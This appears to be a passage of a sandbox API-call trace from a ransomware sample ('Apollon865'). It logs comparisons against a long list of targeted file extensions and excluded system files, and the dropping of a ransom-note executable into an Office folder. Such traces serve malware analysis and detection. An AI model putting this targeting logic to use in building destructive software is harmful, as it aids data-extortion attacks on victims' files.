	[0072.751] lstrcmpiW (lpString1="ilem.vsdir", lpString2="db-journal") returned 1
	[0072.751] lstrlenW (lpString="db-shm") returned 6
	[0072.751] lstrcmpiW (lpString1=".vsdir", lpString2="db-shm") returned -1
	[0072.751] lstrlenW (lpString="db-wal") returned 6
	[0072.751] lstrcmpiW (lpString1=".vsdir", lpString2="db-wal") returned -1
	[0072.751] lstrlenW (lpString="dbc") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="dbc") returned 1
	[0072.751] lstrlenW (lpString="dbs") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="dbs") returned 1
	[0072.751] lstrlenW (lpString="dbt") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="dbt") returned 1
	[0072.751] lstrlenW (lpString="dbv") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="dbv") returned 1
	[0072.751] lstrlenW (lpString="dbx") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="dbx") returned 1
	[0072.751] lstrlenW (lpString="dcb") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="dcb") returned 1
	[0072.752] lstrlenW (lpString="dct") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="dct") returned 1
	[0072.752] lstrlenW (lpString="dcx") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="dcx") returned 1
	[0072.752] lstrlenW (lpString="ddl") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="ddl") returned 1
	[0072.752] lstrlenW (lpString="dlis") returned 4
	[0072.752] lstrcmpiW (lpString1="sdir", lpString2="dlis") returned 1
	[0072.752] lstrlenW (lpString="dp1") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="dp1") returned -1
	[0072.752] lstrlenW (lpString="dqy") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="dqy") returned -1
	[0072.752] lstrlenW (lpString="dsk") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="dsk") returned -1
	[0072.752] lstrlenW (lpString="dsn") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="dsn") returned -1
	[0072.752] lstrlenW (lpString="dtsx") returned 4
	[0072.752] lstrcmpiW (lpString1="sdir", lpString2="dtsx") returned 1
	[0072.752] lstrlenW (lpString="dxl") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="dxl") returned -1
	[0072.752] lstrlenW (lpString="eco") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="eco") returned -1
	[0072.752] lstrlenW (lpString="ecx") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="ecx") returned -1
	[0072.752] lstrlenW (lpString="edb") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="edb") returned -1
	[0072.752] lstrlenW (lpString="epim") returned 4
	[0072.752] lstrcmpiW (lpString1="sdir", lpString2="epim") returned 1
	[0072.752] lstrlenW (lpString="fcd") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="fcd") returned -1
	[0072.752] lstrlenW (lpString="fdb") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="fdb") returned -1
	[0072.752] lstrlenW (lpString="fic") returned 3
	[0072.752] lstrcmpiW (lpString1="dir", lpString2="fic") returned -1
	[0072.752] lstrlenW (lpString="flexolibrary") returned 12
	[0072.752] lstrcmpiW (lpString1="sfilem.vsdir", lpString2="flexolibrary") returned 1
	[0072.753] lstrlenW (lpString="fm5") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="fm5") returned -1
	[0072.753] lstrlenW (lpString="fmp") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="fmp") returned -1
	[0072.753] lstrlenW (lpString="fmp12") returned 5
	[0072.753] lstrcmpiW (lpString1="vsdir", lpString2="fmp12") returned 1
	[0072.753] lstrlenW (lpString="fmpsl") returned 5
	[0072.753] lstrcmpiW (lpString1="vsdir", lpString2="fmpsl") returned 1
	[0072.753] lstrlenW (lpString="fol") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="fol") returned -1
	[0072.753] lstrlenW (lpString="fp3") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="fp3") returned -1
	[0072.753] lstrlenW (lpString="fp4") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="fp4") returned -1
	[0072.753] lstrlenW (lpString="fp5") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="fp5") returned -1
	[0072.753] lstrlenW (lpString="fp7") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="fp7") returned -1
	[0072.753] lstrlenW (lpString="fpt") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="fpt") returned -1
	[0072.753] lstrlenW (lpString="frm") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="frm") returned -1
	[0072.753] lstrlenW (lpString="gdb") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="gdb") returned -1
	[0072.753] lstrlenW (lpString="gdb") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="gdb") returned -1
	[0072.753] lstrlenW (lpString="grdb") returned 4
	[0072.753] lstrcmpiW (lpString1="sdir", lpString2="grdb") returned 1
	[0072.753] lstrlenW (lpString="gwi") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="gwi") returned -1
	[0072.753] lstrlenW (lpString="hdb") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="hdb") returned -1
	[0072.753] lstrlenW (lpString="his") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="his") returned -1
	[0072.753] lstrlenW (lpString="ib") returned 2
	[0072.753] lstrcmpiW (lpString1="ir", lpString2="ib") returned 1
	[0072.753] lstrlenW (lpString="idb") returned 3
	[0072.753] lstrcmpiW (lpString1="dir", lpString2="idb") returned -1
	[0072.754] lstrlenW (lpString="ihx") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="ihx") returned -1
	[0072.754] lstrlenW (lpString="itdb") returned 4
	[0072.754] lstrcmpiW (lpString1="sdir", lpString2="itdb") returned 1
	[0072.754] lstrlenW (lpString="itw") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="itw") returned -1
	[0072.754] lstrlenW (lpString="jet") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="jet") returned -1
	[0072.754] lstrlenW (lpString="jtx") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="jtx") returned -1
	[0072.754] lstrlenW (lpString="kdb") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="kdb") returned -1
	[0072.754] lstrlenW (lpString="kexi") returned 4
	[0072.754] lstrcmpiW (lpString1="sdir", lpString2="kexi") returned 1
	[0072.754] lstrlenW (lpString="kexic") returned 5
	[0072.754] lstrcmpiW (lpString1="vsdir", lpString2="kexic") returned 1
	[0072.754] lstrlenW (lpString="kexis") returned 5
	[0072.754] lstrcmpiW (lpString1="vsdir", lpString2="kexis") returned 1
	[0072.754] lstrlenW (lpString="lgc") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="lgc") returned -1
	[0072.754] lstrlenW (lpString="lwx") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="lwx") returned -1
	[0072.754] lstrlenW (lpString="maf") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="maf") returned -1
	[0072.754] lstrlenW (lpString="maq") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="maq") returned -1
	[0072.754] lstrlenW (lpString="mar") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="mar") returned -1
	[0072.754] lstrlenW (lpString="marshal") returned 7
	[0072.754] lstrcmpiW (lpString1="m.vsdir", lpString2="marshal") returned -1
	[0072.754] lstrlenW (lpString="mas") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="mas") returned -1
	[0072.754] lstrlenW (lpString="mav") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="mav") returned -1
	[0072.754] lstrlenW (lpString="maw") returned 3
	[0072.754] lstrcmpiW (lpString1="dir", lpString2="maw") returned -1
	[0072.754] lstrlenW (lpString="mdbhtml") returned 7
	[0072.755] lstrcmpiW (lpString1="m.vsdir", lpString2="mdbhtml") returned -1
	[0072.755] lstrlenW (lpString="mdn") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="mdn") returned -1
	[0072.755] lstrlenW (lpString="mdt") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="mdt") returned -1
	[0072.755] lstrlenW (lpString="mfd") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="mfd") returned -1
	[0072.755] lstrlenW (lpString="mpd") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="mpd") returned -1
	[0072.755] lstrlenW (lpString="mrg") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="mrg") returned -1
	[0072.755] lstrlenW (lpString="mud") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="mud") returned -1
	[0072.755] lstrlenW (lpString="mwb") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="mwb") returned -1
	[0072.755] lstrlenW (lpString="myd") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="myd") returned -1
	[0072.755] lstrlenW (lpString="ndf") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="ndf") returned -1
	[0072.755] lstrlenW (lpString="nnt") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="nnt") returned -1
	[0072.755] lstrlenW (lpString="nrmlib") returned 6
	[0072.755] lstrcmpiW (lpString1=".vsdir", lpString2="nrmlib") returned -1
	[0072.755] lstrlenW (lpString="ns2") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="ns2") returned -1
	[0072.755] lstrlenW (lpString="ns3") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="ns3") returned -1
	[0072.755] lstrlenW (lpString="ns4") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="ns4") returned -1
	[0072.755] lstrlenW (lpString="nsf") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="nsf") returned -1
	[0072.755] lstrlenW (lpString="nv") returned 2
	[0072.755] lstrcmpiW (lpString1="ir", lpString2="nv") returned -1
	[0072.755] lstrlenW (lpString="nv2") returned 3
	[0072.755] lstrcmpiW (lpString1="dir", lpString2="nv2") returned -1
	[0072.755] lstrlenW (lpString="nwdb") returned 4
	[0072.755] lstrcmpiW (lpString1="sdir", lpString2="nwdb") returned 1
	[0072.755] lstrlenW (lpString="nyf") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="nyf") returned -1
	[0072.756] lstrlenW (lpString="odb") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="odb") returned -1
	[0072.756] lstrlenW (lpString="odb") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="odb") returned -1
	[0072.756] lstrlenW (lpString="oqy") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="oqy") returned -1
	[0072.756] lstrlenW (lpString="ora") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="ora") returned -1
	[0072.756] lstrlenW (lpString="orx") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="orx") returned -1
	[0072.756] lstrlenW (lpString="owc") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="owc") returned -1
	[0072.756] lstrlenW (lpString="p96") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="p96") returned -1
	[0072.756] lstrlenW (lpString="p97") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="p97") returned -1
	[0072.756] lstrlenW (lpString="pan") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="pan") returned -1
	[0072.756] lstrlenW (lpString="pdb") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="pdb") returned -1
	[0072.756] lstrlenW (lpString="pdm") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="pdm") returned -1
	[0072.756] lstrlenW (lpString="pnz") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="pnz") returned -1
	[0072.756] lstrlenW (lpString="qry") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="qry") returned -1
	[0072.756] lstrlenW (lpString="qvd") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="qvd") returned -1
	[0072.756] lstrlenW (lpString="rbf") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="rbf") returned -1
	[0072.756] lstrlenW (lpString="rctd") returned 4
	[0072.756] lstrcmpiW (lpString1="sdir", lpString2="rctd") returned 1
	[0072.756] lstrlenW (lpString="rod") returned 3
	[0072.756] lstrcmpiW (lpString1="dir", lpString2="rod") returned -1
	[0072.756] lstrlenW (lpString="rodx") returned 4
	[0072.756] lstrcmpiW (lpString1="sdir", lpString2="rodx") returned 1
	[0072.757] lstrlenW (lpString="rpd") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="rpd") returned -1
	[0072.757] lstrlenW (lpString="rsd") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="rsd") returned -1
	[0072.757] lstrlenW (lpString="sas7bdat") returned 8
	[0072.757] lstrcmpiW (lpString1="em.vsdir", lpString2="sas7bdat") returned -1
	[0072.757] lstrlenW (lpString="sbf") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="sbf") returned -1
	[0072.757] lstrlenW (lpString="scx") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="scx") returned -1
	[0072.757] lstrlenW (lpString="sdb") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="sdb") returned -1
	[0072.757] lstrlenW (lpString="sdc") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="sdc") returned -1
	[0072.757] lstrlenW (lpString="sdf") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="sdf") returned -1
	[0072.757] lstrlenW (lpString="sis") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="sis") returned -1
	[0072.757] lstrlenW (lpString="spq") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="spq") returned -1
	[0072.757] lstrlenW (lpString="te") returned 2
	[0072.757] lstrcmpiW (lpString1="ir", lpString2="te") returned -1
	[0072.757] lstrlenW (lpString="teacher") returned 7
	[0072.757] lstrcmpiW (lpString1="m.vsdir", lpString2="teacher") returned -1
	[0072.757] lstrlenW (lpString="tmd") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="tmd") returned -1
	[0072.757] lstrlenW (lpString="tps") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="tps") returned -1
	[0072.757] lstrlenW (lpString="trc") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="trc") returned -1
	[0072.757] lstrlenW (lpString="trc") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="trc") returned -1
	[0072.757] lstrlenW (lpString="trm") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="trm") returned -1
	[0072.757] lstrlenW (lpString="udb") returned 3
	[0072.757] lstrcmpiW (lpString1="dir", lpString2="udb") returned -1
	[0072.757] lstrlenW (lpString="udl") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="udl") returned -1
	[0072.758] lstrlenW (lpString="usr") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="usr") returned -1
	[0072.758] lstrlenW (lpString="v12") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="v12") returned -1
	[0072.758] lstrlenW (lpString="vis") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="vis") returned -1
	[0072.758] lstrlenW (lpString="vpd") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="vpd") returned -1
	[0072.758] lstrlenW (lpString="vvv") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="vvv") returned -1
	[0072.758] lstrlenW (lpString="wdb") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="wdb") returned -1
	[0072.758] lstrlenW (lpString="wmdb") returned 4
	[0072.758] lstrcmpiW (lpString1="sdir", lpString2="wmdb") returned -1
	[0072.758] lstrlenW (lpString="wrk") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="wrk") returned -1
	[0072.758] lstrlenW (lpString="xdb") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="xdb") returned -1
	[0072.758] lstrlenW (lpString="xld") returned 3
	[0072.758] lstrcmpiW (lpString1="dir", lpString2="xld") returned -1
	[0072.758] lstrlenW (lpString="xmlff") returned 5
	[0072.758] lstrcmpiW (lpString1="vsdir", lpString2="xmlff") returned -1
	[0072.758] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="VISFIL~1.VSD")) returned 0
	[0072.758] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0072.758] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0072.758] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles"
	[0072.758] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0072.758] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0072.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles") returned 59
	[0072.758] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles"
	[0072.758] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.758] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.774] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x437200f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x437200f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.774] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.775] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.775] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.775] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x437200f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x437200f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.775] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.775] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.775] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.775] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.775] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95af5900, ftCreationTime.dwHighDateTime=0x1c7e846, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95af5900, ftLastWriteTime.dwHighDateTime=0x1c7e846, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="CLASSI~1.DOT")) returned 1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="Apollon865.txt.exe") returned 1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2=".") returned 1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="..") returned 1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="windows") returned -1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="bootmgr") returned 1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="temp") returned -1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="pagefile.sys") returned -1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="boot") returned 1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="ids.txt") returned -1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="ntuser.dat") returned -1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="perflogs") returned -1
	[0072.775] lstrcmpiW (lpString1="Classic.dotx", lpString2="MSBuild") returned -1
	[0072.775] lstrlenW (lpString="Classic.dotx") returned 12
	[0072.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*") returned 61
	[0072.776] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Classic.dotx" | out: lpString1="Classic.dotx") returned="Classic.dotx"
	[0072.776] lstrlenW (lpString="Classic.dotx") returned 12
	[0072.776] lstrlenW (lpString="Apollon865") returned 10
	[0072.776] lstrcmpiW (lpString1="assic.dotx", lpString2="Apollon865") returned 1
	[0072.776] lstrlenW (lpString=".dll") returned 4
	[0072.776] lstrcmpiW (lpString1="Classic.dotx", lpString2=".dll") returned 1
	[0072.776] lstrlenW (lpString=".lnk") returned 4
	[0072.776] lstrcmpiW (lpString1="Classic.dotx", lpString2=".lnk") returned 1
	[0072.776] lstrlenW (lpString=".ini") returned 4
	[0072.776] lstrcmpiW (lpString1="Classic.dotx", lpString2=".ini") returned 1
	[0072.776] lstrlenW (lpString=".sys") returned 4
	[0072.776] lstrcmpiW (lpString1="Classic.dotx", lpString2=".sys") returned 1
	[0072.776] lstrlenW (lpString="Classic.dotx") returned 12
	[0072.776] lstrlenW (lpString="bak") returned 3
	[0072.776] lstrcmpiW (lpString1="otx", lpString2="bak") returned 1
	[0072.776] lstrlenW (lpString="ba_") returned 3
	[0072.776] lstrcmpiW (lpString1="otx", lpString2="ba_") returned 1
	[0072.776] lstrlenW (lpString="dbb") returned 3
	[0072.776] lstrcmpiW (lpString1="otx", lpString2="dbb") returned 1
	[0072.776] lstrlenW (lpString="vmdk") returned 4
	[0072.776] lstrcmpiW (lpString1="dotx", lpString2="vmdk") returned -1
	[0072.776] lstrlenW (lpString="rar") returned 3
	[0072.776] lstrcmpiW (lpString1="otx", lpString2="rar") returned -1
	[0072.776] lstrlenW (lpString="zip") returned 3
	[0072.776] lstrcmpiW (lpString1="otx", lpString2="zip") returned -1
	[0072.776] lstrlenW (lpString="tgz") returned 3
	[0072.776] lstrcmpiW (lpString1="otx", lpString2="tgz") returned -1
	[0072.776] lstrlenW (lpString="vbox") returned 4
	[0072.776] lstrcmpiW (lpString1="dotx", lpString2="vbox") returned -1
	[0072.776] lstrlenW (lpString="vdi") returned 3
	[0072.776] lstrcmpiW (lpString1="otx", lpString2="vdi") returned -1
	[0072.776] lstrlenW (lpString="vhd") returned 3
	[0072.776] lstrcmpiW (lpString1="otx", lpString2="vhd") returned -1
	[0072.776] lstrlenW (lpString="vhdx") returned 4
	[0072.776] lstrcmpiW (lpString1="dotx", lpString2="vhdx") returned -1
	[0072.776] lstrlenW (lpString="avhd") returned 4
	[0072.777] lstrcmpiW (lpString1="dotx", lpString2="avhd") returned 1
	[0072.777] lstrlenW (lpString="db") returned 2
	[0072.777] lstrcmpiW (lpString1="tx", lpString2="db") returned 1
	[0072.777] lstrlenW (lpString="db2") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="db2") returned 1
	[0072.777] lstrlenW (lpString="db3") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="db3") returned 1
	[0072.777] lstrlenW (lpString="dbf") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="dbf") returned 1
	[0072.777] lstrlenW (lpString="mdf") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="mdf") returned 1
	[0072.777] lstrlenW (lpString="mdb") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="mdb") returned 1
	[0072.777] lstrlenW (lpString="sql") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="sql") returned -1
	[0072.777] lstrlenW (lpString="sqlite") returned 6
	[0072.777] lstrcmpiW (lpString1="c.dotx", lpString2="sqlite") returned -1
	[0072.777] lstrlenW (lpString="sqlite3") returned 7
	[0072.777] lstrcmpiW (lpString1="ic.dotx", lpString2="sqlite3") returned -1
	[0072.777] lstrlenW (lpString="sqlitedb") returned 8
	[0072.777] lstrcmpiW (lpString1="sic.dotx", lpString2="sqlitedb") returned -1
	[0072.777] lstrlenW (lpString="xml") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="xml") returned -1
	[0072.777] lstrlenW (lpString="$er") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="$er") returned 1
	[0072.777] lstrlenW (lpString="4dd") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="4dd") returned 1
	[0072.777] lstrlenW (lpString="4dl") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="4dl") returned 1
	[0072.777] lstrlenW (lpString="^^^") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="^^^") returned 1
	[0072.777] lstrlenW (lpString="abs") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="abs") returned 1
	[0072.777] lstrlenW (lpString="abx") returned 3
	[0072.777] lstrcmpiW (lpString1="otx", lpString2="abx") returned 1
	[0072.777] lstrlenW (lpString="accdb") returned 5
	[0072.777] lstrcmpiW (lpString1=".dotx", lpString2="accdb") returned -1
	[0072.778] lstrlenW (lpString="accdc") returned 5
	[0072.778] lstrcmpiW (lpString1=".dotx", lpString2="accdc") returned -1
	[0072.778] lstrlenW (lpString="accde") returned 5
	[0072.778] lstrcmpiW (lpString1=".dotx", lpString2="accde") returned -1
	[0072.778] lstrlenW (lpString="accdr") returned 5
	[0072.778] lstrcmpiW (lpString1=".dotx", lpString2="accdr") returned -1
	[0072.778] lstrlenW (lpString="accdt") returned 5
	[0072.778] lstrcmpiW (lpString1=".dotx", lpString2="accdt") returned -1
	[0072.778] lstrlenW (lpString="accdw") returned 5
	[0072.778] lstrcmpiW (lpString1=".dotx", lpString2="accdw") returned -1
	[0072.778] lstrlenW (lpString="accft") returned 5
	[0072.778] lstrcmpiW (lpString1=".dotx", lpString2="accft") returned -1
	[0072.778] lstrlenW (lpString="adb") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="adb") returned 1
	[0072.778] lstrlenW (lpString="adb") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="adb") returned 1
	[0072.778] lstrlenW (lpString="ade") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="ade") returned 1
	[0072.778] lstrlenW (lpString="adf") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="adf") returned 1
	[0072.778] lstrlenW (lpString="adn") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="adn") returned 1
	[0072.778] lstrlenW (lpString="adp") returned 3
